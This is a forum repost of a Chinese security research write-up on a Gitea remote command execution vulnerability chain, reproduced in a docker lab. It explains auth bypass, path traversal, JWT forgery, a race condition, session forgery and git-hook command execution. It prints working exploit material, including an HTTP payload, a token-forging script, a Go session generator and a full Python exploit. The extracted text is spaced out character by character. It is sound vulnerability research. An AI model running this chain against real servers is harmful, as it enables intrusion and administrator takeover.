搜索

[12959] 2018-07-18_Go代码审计：Gitea远程命令执行漏洞链

文档创建者：s7ckTeam
浏览次数：42
最后更新：2025-01-18
2018-07-18_Go代码审计：Gitea远程命令执行漏洞链 G o 代 码 审 计 ： G i t e a 远 程 命 令 执 行 漏 洞 链 p h i t h o n   F r e e B u f   2 0 1 8 - 0 7 - 1 8 这 是 一 个 非 常 漂 亮 的 漏 洞 链 ， 很 久 没 见 过 了 。 这 是 一 个 非 常 漂 亮 的 漏 洞 链 ， 很 久 没 见 过 了 。 我 用 我 用 d o c k e r 来 复 现 并 学 习 这 个 漏 洞 ， 官 方 提 供 了 来 复 现 并 学 习 这 个 漏 洞 ， 官 方 提 供 了 d o c k e r 镜 镜 像 ， 像 ， v u l h u b 也 会 上 线 这 个 环 境 。 也 会 上 线 这 个 环 境 。 漏 洞 一 、 逻 辑 错 误 导 致 权 限 绕 过 漏 洞 一 、 逻 辑 错 误 导 致 权 限 绕 过 这 是 本 漏 洞 链 的 导 火 索 ， 其 出 现 在 G i t   L F S 的 处 理 逻 辑 中 。 G i t   L F S 是 G i t 为 大 文 件 设 置 的 存 储 容 器 ， 我 们 可 以 理 解 为 ， 他 将 真 正 的 文 件 存 储 在 g i t 仓 库 外 ， 而 g i t 仓 库 中 只 存 储 了 这 个 文 件 的 索 引 （ 一 个 哈 希 值 ） 。 这 样 ， g i t   o b j e c t s 和 . g i t 文 件 夹 下 其 实 是 没 有 这 个 文 件 的 ， 这 个 文 件 储 存 在 g i t 服 务 器 上 。 g i t e a 作 为 一 个 g i t 服 务 器 ， 也 提 供 了 L F S 功 能 。 在   m o d u l e s / l f s / s e r v e r . g o   文 件 中 ， P o s t H a n d l e r 是 P O S T 请 求 的 处 理 函 数 ： 可 见 ， 其 中 间 部 分 包 含 对 权 限 的 检 查 ： 在 没 有 权 限 的 情 况 下 ， 仅 执 行 了 r e q u i r e A u t h 函 数 ： 这 个 函 数 做 了 两 件 事 ， 一 是 写 入 W W W - A u t h e n t i c a t e 头 ， 二 是 设 置 状 态 码 为 4 0 1 。 也 就 是 说 ， 在 没 有 权 限 的 情 况 下 ， 并 没 有 停 止 执 行 P o s t H a n d l e r 函 数 。 i f   ! a u t h e n t i c a t e ( c t x ,   r e p o s i t o r y ,   r v . A u t h o r i z a t i o n ,   t r u e )   {         r e q u i r e A u t h ( c t x ) }
所 以 ， 这 里 存 在 一 处 权 限 绕 过 漏 洞 。 漏 洞 二 、 目 录 穿 越 漏 洞 漏 洞 二 、 目 录 穿 越 漏 洞 这 个 权 限 绕 过 漏 洞 导 致 的 后 果 是 ， 未 授 权 的 任 意 用 户 都 可 以 为 某 个 项 目 （ 后 面 都 以 v u l h u b / r e p o 为 例 ） 创 建 一 个 G i t   L F S 对 象 。 这 个 L F S 对 象 可 以 通 过 h t t p : / / e x a m p l e . c o m / v u l h u b / r e p o . g i t / i n f o / l f s / o b j e c t s / [ o i d ] 这 样 的 接 口 来 访 问 ， 比 如 下 载 、 写 入 内 容 等 。 其 中 [ o i d ] 是 L F S 对 象 的 I D ， 通 常 来 说 是 一 个 哈 希 ， 但 g i t e a 中 并 没 有 限 制 这 个 I D 允 许 包 含 的 字 符 ， 这 也 是 导 致 第 二 个 漏 洞 的 根 本 原 因 。 我 们 利 用 第 一 个 漏 洞 ， 先 发 送 一 个 数 据 包 ， 创 建 一 个 O i d 为 … … / . . / . . / e t c / p a s s w d 的 L F S 对 象 ： 其 中 ， v u l h u b / r e p o 是 一 个 公 开 的 项 目 。 也 就 是 说 ， 这 个 漏 洞 的 利 用 是 有 条 件 的 ， 第 一 个 条 件 就 是 需 要 有 一 个 公 开 项 目 。 为 什 么 呢 ？ 虽 然 “ 创 建 L F S 对 象 ” 接 口 有 权 限 绕 过 漏 洞 ， 但 是 “ 读 取 这 个 对 象 所 代 表 的 文 件 ” 接 口 没 有 漏 洞 ， 会 先 检 查 你 是 否 有 权 限 访 问 这 个 L F S 对 象 所 在 的 项 目 。 只 有 公 开 项 目 才 有 权 限 读 取 。 见 下 图 ， 发 送 数 据 包 后 ， 虽 然 返 回 了 4 0 1 状 态 码 ， 但 实 际 上 这 个 L F S 对 象 已 经 创 建 成 功 ， 且 其 O i d 为 … … / . . / . . / e t c / p a s s w d 。 第 二 步 ， 就 是 访 问 这 个 对 象 。 访 问 方 法 就 是 G E T 请 求 h t t p : / / e x a m p l e . c o m / v u l h u b / r e p o . g i t / i n f o / l f s / o b j e c t s / [ o i d ] / s t h ， o i d 就 是 刚 才 指 定 的 ， 这 里 要 用 u r l 编 码 一 下 。 见 下 图 ， / e t c / p a s s w d 已 被 成 功 读 取 ： P O S T   / v u l h u b / r e p o . g i t / i n f o / l f s / o b j e c t s   H T T P / 1 . 1 H o s t :   y o u r - i p : 3 0 0 0 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   a p p l i c a t i o n / v n d . g i t - l f s + j s o n A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   1 5 1 {         " O i d " :   " . . . . . . / . . / . . / e t c / p a s s w d " ,         " S i z e " :   1 0 0 0 0 0 0 ,         " U s e r "   :   " a " ,         " P a s s w o r d "   :   " a " ,         " R e p o "   :   " a " ,         " A u t h o r i z a t i o n "   :   " a " }
那 么 ， 我 们 来 看 看 为 什 么 读 取 到 了 / e t c / p a s s w d 文 件 。 代 码   m o d u l e s / l f s / c o n t e n t _ s t o r e . g o   ： 可 见 ， m e t a . O i d 被 传 入 t r a n s f o r m K e y 函 数 ， 这 个 函 数 里 ， 将 O i d 转 换 成 了 k e y [ 0 : 2 ] / k e y [ 2 : 4 ] / k e y [ 4 : ] 这 样 的 形 式 ， 前 两 个 、 中 间 两 个 字 符 做 为 目 录 名 ， 第 四 个 字 符 以 后 的 内 容 作 为 文 件 名 。 那 么 ， 我 创 建 的 O i d 为 … … / . . / . . / e t c / p a s s w d ， 在 经 过 t r a n s f o r m K e y 函 数 后 就 变 成 了 . . / . . / . . / . . / . . / e t c / p a s s w d ， s . B a s e P a t h 是 L F S 对 象 的 基 础 目 录 ， 二 者 拼 接 后 自 然 就 读 取 到 了 / e t c / p a s s w d 文 件 。 这 就 是 第 二 个 漏 洞 ： 目 录 穿 越 。 漏 洞 三 、 读 取 配 置 文 件 ， 构 造 漏 洞 三 、 读 取 配 置 文 件 ， 构 造 J W T 密 文 密 文 v u l h u b / r e p o 虽 然 是 一 个 公 开 项 目 ， 但 默 认 只 有 读 权 限 。 我 们 需 要 进 一 步 利 用 。 我 们 利 用 目 录 穿 越 漏 洞 ， 可 以 读 取 到 g i t e a 的 配 置 文 件 。 这 个 文 件 G I T E A _ C U S T O M 是 g i t e a 的 根 目 录 ， 默 认 是 / v a r / l i b / g i t e a / ， 在 v u l h u b 里 是 / d a t a / g i t e a 。 所 以 ， 要 从 L F S 的 目 录 跨 越 G I T E A _ C U S T O M 的 设 置 进 行 调 整 。 ） 成 功 读 取 到 配 置 文 件 （ 仍 需 先 发 送 P O S T 包 创 建 O i d 为 … . g i t e a / c o n f / a p p . i n i 的 L F S 对 象 ） ：
配 置 文 件 中 有 很 多 敏 感 信 息 ， 如 数 据 库 账 号 密 码 、 一 些 T o k e n 等 。 如 果 是 s q l i t e 数 据 库 ， 我 们 甚 至 能 直 接 下 载 之 。 当 然 ， 密 码 加 了 s a l t 。 G i t e a 中 ， L F S 的 接 口 是 使 用 J W T 认 证 ， 其 加 密 密 钥 就 是 配 置 文 件 中 的 L F S _ J W T _ S E C R E T 。 所 以 ， 这 里 我 们 就 可 以 用 来 构 造 J W T 认 证 ， 进 而 获 取 L F S 完 整 的 读 写 权 限 。 我 们 用 p y t h o n 来 生 成 密 文 ： 其 中 ， j w t _ s e c r e t 是 第 二 个 漏 洞 中 读 取 到 的 密 钥 ； p u b l i c _ u s e r _ i d 是 项 目 所 有 者 的 i d ， p u b l i c _ r e p o _ i d 是 项 目 i d ， 这 个 项 目 指 L F S 所 在 的 项 目 ； n b f 是 指 这 个 密 文 的 开 始 时 间 ， e x p 是 这 个 密 文 的 结 束 时 间 ， 只 有 当 前 时 间 处 于 这 两 个 值 中 时 ， 这 个 密 文 才 有 效 。 漏 洞 四 、 利 用 条 件 竞 争 ， 写 入 任 意 文 件 漏 洞 四 、 利 用 条 件 竞 争 ， 写 入 任 意 文 件 现 在 ， 我 们 能 构 造 J W T 的 密 文 ， 即 可 访 问 L F S 中 的 写 入 文 件 接 口 ， 也 就 是 P u t H a n d l e r 。 P U T 操 作 主 要 是 如 下 代 码 ： i m p o r t   j w t i m p o r t   t i m e i m p o r t   b a s e 6 4 d e f   d e c o d e _ b a s e 6 4 ( d a t a ) :         m i s s i n g _ p a d d i n g   =   l e n ( d a t a )   %   4         i f   m i s s i n g _ p a d d i n g   ! =   0 :                 d a t a   + =   ' = ' *   ( 4   -   m i s s i n g _ p a d d i n g )         r e t u r n   b a s e 6 4 . u r l s a f e _ b 6 4 d e c o d e ( d a t a ) j w t _ s e c r e t   =   d e c o d e _ b a s e 6 4 ( ' o U s P A A k e i c 6 H a B M H P i T V H x T e C r E D c 2 9 s L 6 f 0 J u V p 7 3 c ' ) p u b l i c _ u s e r _ i d   =   1 p u b l i c _ r e p o _ i d   =   1 n b f   =   i n t ( t i m e . t i m e ( ) ) - ( 6 0 * 6 0 * 2 4 * 1 0 0 0 ) e x p   =   i n t ( t i m e . t i m e ( ) ) + ( 6 0 * 6 0 * 2 4 * 1 0 0 0 ) t o k e n   =   j w t . e n c o d e ( { ' u s e r ' :   p u b l i c _ u s e r _ i d ,   ' r e p o ' :   p u b l i c _ r e p o _ i d ,   ' o p ' :   ' u p l o a d ' ,   ' e x p ' :   e x p ,   ' n b f ' :   n b f } ,   j w t _ s e c r e t ,   a l g o r i t h m = ' H S 2 5 6 ' ) t o k e n   =   t o k e n . d e c o d e ( ) p r i n t ( t o k e n )
整 个 过 程 整 理 如 下 ： 1 . t r a n s f o r m K e y ( m e t a . O i d )   +   . t m p   后 缀 作 为 临 时 文 件 名 2 . 如 果 目 录 不 存 在 ， 则 创 建 目 录 3 . 将 用 户 传 入 的 内 容 写 入 临 时 文 件 4 . 如 果 文 件 大 小 和 m e t a . S i z e 不 一 致 ， 则 返 回 错 误 （ m e t a . s i z e 是 第 一 步 中 创 建 L F S 时 传 入 的 S i z e 参 数 ） 5 . 如 果 文 件 哈 希 和 m e t a . O i d 不 一 致 ， 则 返 回 错 误 6 . 将 临 时 文 件 重 命 名 为 真 正 的 文 件 名 因 为 我 们 需 要 写 入 任 意 文 件 ， 所 以 O i d 一 定 是 能 够 穿 越 到 其 他 目 录 的 一 个 恶 意 字 符 串 ， 而 一 个 文 件 的 哈 希 （ s h a 2 5 6 ） 却 只 是 一 个 H E X 字 符 串 。 所 以 上 面 的 第 5 步 ， 一 定 会 失 败 导 致 退 出 ， 所 以 不 可 能 执 行 到 第 6 步 。 也 就 是 说 ， 我 们 只 能 写 入 一 个 后 缀 是 “ . t m p ” 的 临 时 文 件 。 另 外 ， 作 者 用 到 了 d e f e r   o s . R e m o v e ( t m p P a t h ) 这 个 语 法 。 在 g o 语 言 中 ， d e f e r 代 表 函 数 返 回 时 执 行 的 操 作 ， 也 就 是 说 ， 不 管 函 数 是 否 返 回 错 误 ， 结 束 时 都 会 删 除 临 时 文 件 。 所 以 ， 我 们 需 要 解 决 的 是 两 个 问 题 ： 1 . 能 够 写 入 一 个 . t m p 为 后 缀 的 文 件 ， 怎 么 利 用 ？
2 . 如 何 让 这 个 文 件 在 利 用 成 功 之 前 不 被 删 除 ？ 我 们 先 思 考 第 二 个 问 题 。 漏 洞 发 现 者 给 出 的 方 法 是 ， 利 用 条 件 竞 争 。 因 为 g i t e a 中 是 用 流 式 方 法 来 读 取 数 据 包 ， 并 将 读 取 到 的 内 容 写 入 临 时 文 件 ， 那 么 我 们 可 以 用 流 式 H T T P 方 法 ， 传 入 我 们 需 要 写 入 的 文 件 内 容 ， 然 后 挂 起 H T T P 连 接 。 这 时 候 ， 后 端 会 一 直 等 待 我 传 剩 下 的 字 符 ， 在 这 个 时 间 差 内 ， P u t 函 数 是 等 待 在 i o . C o p y 那 个 步 骤 的 ， 当 然 也 就 不 会 删 除 临 时 文 件 了 。 那 么 ， 思 考 第 一 个 问 题 ， . t m p 为 后 缀 的 临 时 文 件 ， 我 们 能 做 什 么 ？ 漏 洞 五 、 伪 造 漏 洞 五 、 伪 造 s e s s i o n 提 升 权 限 提 升 权 限 最 简 单 的 ， 我 们 可 以 向 / e t c / c r o n . d / 中 写 入 一 个 c r o n t a b 配 置 文 件 ， 然 后 反 弹 获 取 s h e l l 。 但 通 常 g i t e a 不 会 运 行 在 r o o t 权 限 ， 所 以 我 们 需 要 思 考 其 他 方 法 。 g i t e a 使 用 g o - m a c a r o n / s e s s i o n 这 个 第 三 方 模 块 来 管 理 s e s s i o n ， 默 认 使 用 文 件 作 为 s e s s i o n 存 储 容 器 。 我 们 来 阅 读 g o - m a c a r o n / s e s s i o n 源 码 ： 这 里 面 有 几 个 很 重 要 的 点 ： 1 . s e s s i o n 文 件 名 为 s i d [ 0 ] / s i d [ 1 ] / s i d 2 . 对 象 被 用 G o b 序 列 化 后 存 入 文 件 G o b 是 G o 语 言 独 有 的 序 列 化 方 法 。 我 们 可 以 编 写 一 段 G o 语 言 程 序 ， 来 生 成 一 段 G o b 编 码 的 s e s s i o n ：
其 中 ， { “ _ o l d _ i o d ” :   “ 1 ” ,   “ u i d ” :   u i d ,   “ u n a m e ” :   “ v u l h u b ”   } 就 是 s e s s i o n 中 的 数 据 ， u i d 是 管 理 员 i d ， u n a m e 是 管 理 员 用 户 名 。 编 译 并 执 行 上 述 代 码 ， 得 到 一 串 h e x ， 就 是 伪 造 的 数 据 。 原 作 者 给 出 的 P O C 是 他 生 成 好 的 一 段 二 进 制 文 件 ， u i d 和 u n a m e 不 能 自 定 义 。 接 着 ， 我 写 了 一 个 简 单 的 P y t h o n 脚 本 来 进 行 后 续 利 用 （ 需 要 P y t h o n 3 . 6 ） ： p a c k a g e   m a i n i m p o r t   (         " f m t "         " e n c o d i n g / g o b "         " b y t e s "         " e n c o d i n g / h e x " ) f u n c   E n c o d e G o b ( o b j   m a p [ i n t e r f a c e { } ] i n t e r f a c e { } )   ( [ ] b y t e ,   e r r o r )   {         f o r   _ ,   v   : =   r a n g e   o b j   {                 g o b . R e g i s t e r ( v )         }         b u f   : =   b y t e s . N e w B u f f e r ( n i l )         e r r   : =   g o b . N e w E n c o d e r ( b u f ) . E n c o d e ( o b j )         r e t u r n   b u f . B y t e s ( ) ,   e r r } f u n c   m a i n ( )   {         v a r   u i d   i n t 6 4   =   1         o b j   : =   m a p [ i n t e r f a c e { } ] i n t e r f a c e { }   { " _ o l d _ u i d " :   " 1 " ,   " u i d " :   u i d ,   " u n a m e " :   " v u l h u b "   }         d a t a ,   e r r   : =   E n c o d e G o b ( o b j )         i f   e r r   ! =   n i l   {                 f m t . P r i n t l n ( e r r )         }         e d a t a   : =   h e x . E n c o d e T o S t r i n g ( d a t a )         f m t . P r i n t l n ( e d a t a ) } i m p o r t   r e q u e s t s i m p o r t   j w t i m p o r t   t i m e i m p o r t   b a s e 6 4 i m p o r t   l o g g i n g i m p o r t   s y s i m p o r t   j s o n f r o m   u r l l i b . p a r s e   i m p o r t   q u o t e l o g g i n g . b a s i c C o n f i g ( s t r e a m = s y s . s t d o u t ,   l e v e l = l o g g i n g . D E B U G ) B A S E _ U R L   =   ' h t t p : / / y o u r - i p : 3 0 0 0 / v u l h u b / r e p o ' J W T _ S E C R E T   =   ' A z D E 6 j v a O h h _ u 3 0 c m k b E q m O d l 8 h 3 4 z O y x f q c i e u A u 9 Y ' U S E R _ I D   =   1 R E P O _ I D   =   1 S E S S I O N _ I D   =   ' 1 1 v u l h u b ' S E S S I O N _ D A T A   =   b y t e s . f r o m h e x ( ' 0 e f f 8 1 0 4 0 1 0 2 f f 8 2 0 0 0 1 1 0 0 1 1 0 0 0 0 0 5 c f f 8 2 0 0 0 3 0 6 7 3 7 4 7 2 6 9 6 e 6 7 0 c 0 a 0 0 0 8 5 f 6 f 6 c 6 4 5 f 7 5 6 9 6 4 0 6 7 3 7 4 7 2 6 9 6 e 6 7 0 c 0 3 0 0 0 1 3 1 0 6 7 3 7 4 7 2 6 9 6 e 6 7 0 c 0 5 0 0 0 3 7 5 6 9 6 4 0 5 6 9 6 e 7 4 3 6 3 4 0 4 0 2 0 0 0 2 0 6 7 3 7 4 7 2 6 9 6 e 6 7 0 c 0 7 0 0 0 5 7 5 6 e 6 1 6 d 6 5 0 6 7 3 7 4 7 2 6 9 6 e 6 7 0 c 0 8 0 0 0 6 7 6 7 5 6 c 6 8 7 5 6 2 ' ) d e f   g e n e r a t e _ t o k e n ( ) :         d e f   d e c o d e _ b a s e 6 4 ( d a t a ) :                 m i s s i n g _ p a d d i n g   =   l e n ( d a t a )   %   4                 i f   m i s s i n g _ p a d d i n g   ! =   0 :                         d a t a   + =   ' = ' *   ( 4   -   m i s s i n g _ p a d d i n g )                 r e t u r n   b a s e 6 4 . u r l s a f e _ b 6 4 d e c o d e ( d a t a )         n b f   =   i n t ( t i m e . t i m e ( ) ) - ( 6 0 * 6 0 * 2 4 * 1 0 0 0 )         e x p   =   i n t ( t i m e . t i m e ( ) ) + ( 6 0 * 6 0 * 2 4 * 1 0 0 0 )         t o k e n   =   j w t . e n c o d e ( { ' u s e r ' :   U S E R _ I D ,   ' r e p o ' :   R E P O _ I D ,   ' o p ' :   ' u p l o a d ' ,   ' e x p ' :   e x p ,   ' n b f ' :   n b f } ,   d e c o d e _ b a s e 6 4 ( J W T _ S E C R E T ) ,   a l g o r i t h m = ' H S 2 5 6 ' )         r e t u r n   t o k e n . d e c o d e ( ) d e f   g e n _ d a t a ( ) :         y i e l d   S E S S I O N _ D A T A         t i m e . s l e e p ( 3 0 0 )         y i e l d   b ' ' O I D   =   f ' . . . . g i t e a / s e s s i o n s / { S E S S I O N _ I D [ 0 ] } / { S E S S I O N _ I D [ 1 ] } / { S E S S I O N _ I D } ' r e s p o n s e   =   r e q u e s t s . p o s t ( f ' { B A S E _ U R L } . g i t / i n f o / l f s / o b j e c t s ' ,   h e a d e r s = {         ' A c c e p t ' :   ' a p p l i c a t i o n / v n d . g i t - l f s + j s o n ' } ,   j s o n = {         " O i d " :   O I D ,         " S i z e " :   1 0 0 0 0 0 ,         " U s e r "   :   " a " ,         " P a s s w o r d "   :   " a " ,         " R e p o "   :   " a " ,         " A u t h o r i z a t i o n "   :   " a " } ) l o g g i n g . i n f o ( r e s p o n s e . t e x t ) r e s p o n s e   =   r e q u e s t s . p u t ( f " { B A S E _ U R L } . g i t / i n f o / l f s / o b j e c t s / { q u o t e ( O I D ,   s a f e = ' ' ) } " ,   d a t a = g e n _ d a t a ( ) ,   h e a d e r s = {         ' A c c e p t ' :   ' a p p l i c a t i o n / v n d . g i t - l f s ' ,         ' C o n t e n t - T y p e ' :   ' a p p l i c a t i o n / v n d . g i t - l f s ' ,         ' A u t h o r i z a t i o n ' :   f ' B e a r e r   { g e n e r a t e _ t o k e n ( ) } '   } )
这 个 脚 本 会 将 伪 造 的 S E S S I O N 数 据 发 送 ， 并 等 待 3 0 0 秒 后 才 关 闭 连 接 。 在 这 3 0 0 秒 中 ， 服 务 器 上 将 存 在 一 个 名 为 “ 1 1 v u l h u b . t m p ” 的 文 件 ， 这 也 是 s e s s i o n   i d 。 带 上 这 个 s e s s i o n   i d ， 即 可 提 升 为 管 理 员 。 漏 洞 六 、 利 用 漏 洞 六 、 利 用 H O O K 执 行 任 意 命 令 执 行 任 意 命 令 带 上 i _ l i k e _ g i t e a = 1 1 v u l h u b . t m p 这 个 C o o k i e ， 我 们 即 可 访 问 管 理 员 账 户 。 然 后 随 便 找 个 项 目 ， 在 设 置 中 配 置 G i t 钩 子 。 G i t 钩 子 是 执 行 g i t 命 令 的 时 候 ， 会 被 自 动 执 行 的 一 段 脚 本 。 比 如 我 这 里 用 的 p r e - r e c e i v e 钩 子 ， 就 是 在 c o m m i t 之 前 会 执 行 的 脚 本 。 我 在 其 中 加 入 待 执 行 的 命 令 t o u c h   / t m p / s u c c e s s ： 然 后 在 网 页 端 新 建 一 个 文 件 ， 点 提 交 。 进 入 d o c k e r 容 器 ， 可 见 命 令 被 成 功 执 行 ： 一 些 思 考 一 些 思 考 整 个 漏 洞 链 非 常 流 畅 ， G o   W e b 端 的 代 码 审 计 也 非 常 少 见 ， 在 传 统 漏 洞 越 来 越 少 的 情 况 下 ， 这 些 好 思 路 将 给 安 全 研 究 者 带 来 很 多 不 一 样 的 突 破 。
不 过 漏 洞 作 者 给 出 的 P O C 实 在 是 比 较 烂 ， 基 本 离 开 了 他 自 己 的 环 境 就 不 能 用 了 ， 而 且 我 也 不 建 议 用 一 键 化 的 漏 洞 利 用 脚 本 来 复 现 这 个 漏 洞 ， 原 因 是 这 个 漏 洞 的 利 用 涉 及 到 一 些 不 确 定 量 ， 比 如 ： 1 . g i t e a 的 $ G I T E A _ C U S T O M ， 这 个 值 影 响 到 读 取 a p p . i n i 的 那 段 P O C 2 . 管 理 员 的 用 户 名 和 I D ， 这 个 可 能 需 要 猜 。 但 其 实 我 们 也 没 必 要 必 须 伪 造 管 理 员 的 s e s s i o n ， 我 们 可 以 伪 造 任 意 一 个 用 户 的 s e s s i o n ， 然 后 进 入 网 站 后 再 找 找 看 看 有 没 有 管 理 员 所 创 建 的 项 目 ， 如 果 有 的 话 ， 就 可 以 得 知 管 理 员 的 用 户 名 了 。 另 外 ， 复 现 漏 洞 的 时 候 也 遇 到 过 一 些 坑 ， 比 如 g i t e a 第 一 次 安 装 好 ， 如 果 不 重 启 的 话 ， 他 的 s e s s i o n 是 存 储 在 内 存 里 的 。 只 有 第 一 次 重 启 后 ， 才 会 使 用 文 件 s e s s i o n ， 这 一 点 需 要 注 意 。 如 果 目 标 系 统 使 用 的 是 s q l i t e 做 数 据 库 ， 我 们 可 以 直 接 下 载 其 数 据 库 ， 并 拿 到 他 的 密 码 哈 希 和 另 一 个 随 机 字 符 串 ， 利 用 这 两 个 值 其 实 能 直 接 伪 造 管 理 员 的 c o o k i e （ 名 为 g i t e a _ i n c r e d i b l e ） ， 这 一 点 我 就 不 写 了 ， 大 家 可 以 自 己 查 看 文 档 。 * 本 文 作 者 ： 本 文 作 者 ： p h i t h o n ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理